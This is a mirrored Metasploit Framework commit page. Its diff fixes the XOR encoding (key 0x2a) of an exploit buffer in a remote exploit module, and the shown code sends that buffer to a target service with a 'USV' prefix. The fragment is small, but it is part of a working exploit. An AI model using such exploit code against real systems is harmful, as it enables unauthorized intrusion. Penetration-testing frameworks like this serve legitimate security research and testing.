mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-12 11:52:01 +01:00
Fix XOR encoding for this module
git-svn-id: file:///home/svn/framework3/trunk@8940 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
432f1676aa
commit
4bac76cc9e
@ -76,9 +76,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
sploit << [0xdeadbeef].pack('V') * 3
|
||||
|
||||
# the buffer gets xor'd with 0x2a !
|
||||
0.upto(sploit.length-1) do |idx|
|
||||
sploit[idx] = sploit[idx] ^ 0x2a
|
||||
end
|
||||
sploit = sploit.unpack("C*").map{|c| c ^ 0x2a}.pack("C*")
|
||||
|
||||
print_status("Trying target #{target.name}...")
|
||||
sock.put("USV " + sploit + "\r\n\r\n")
|
||||
@ -88,3 +86,4 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user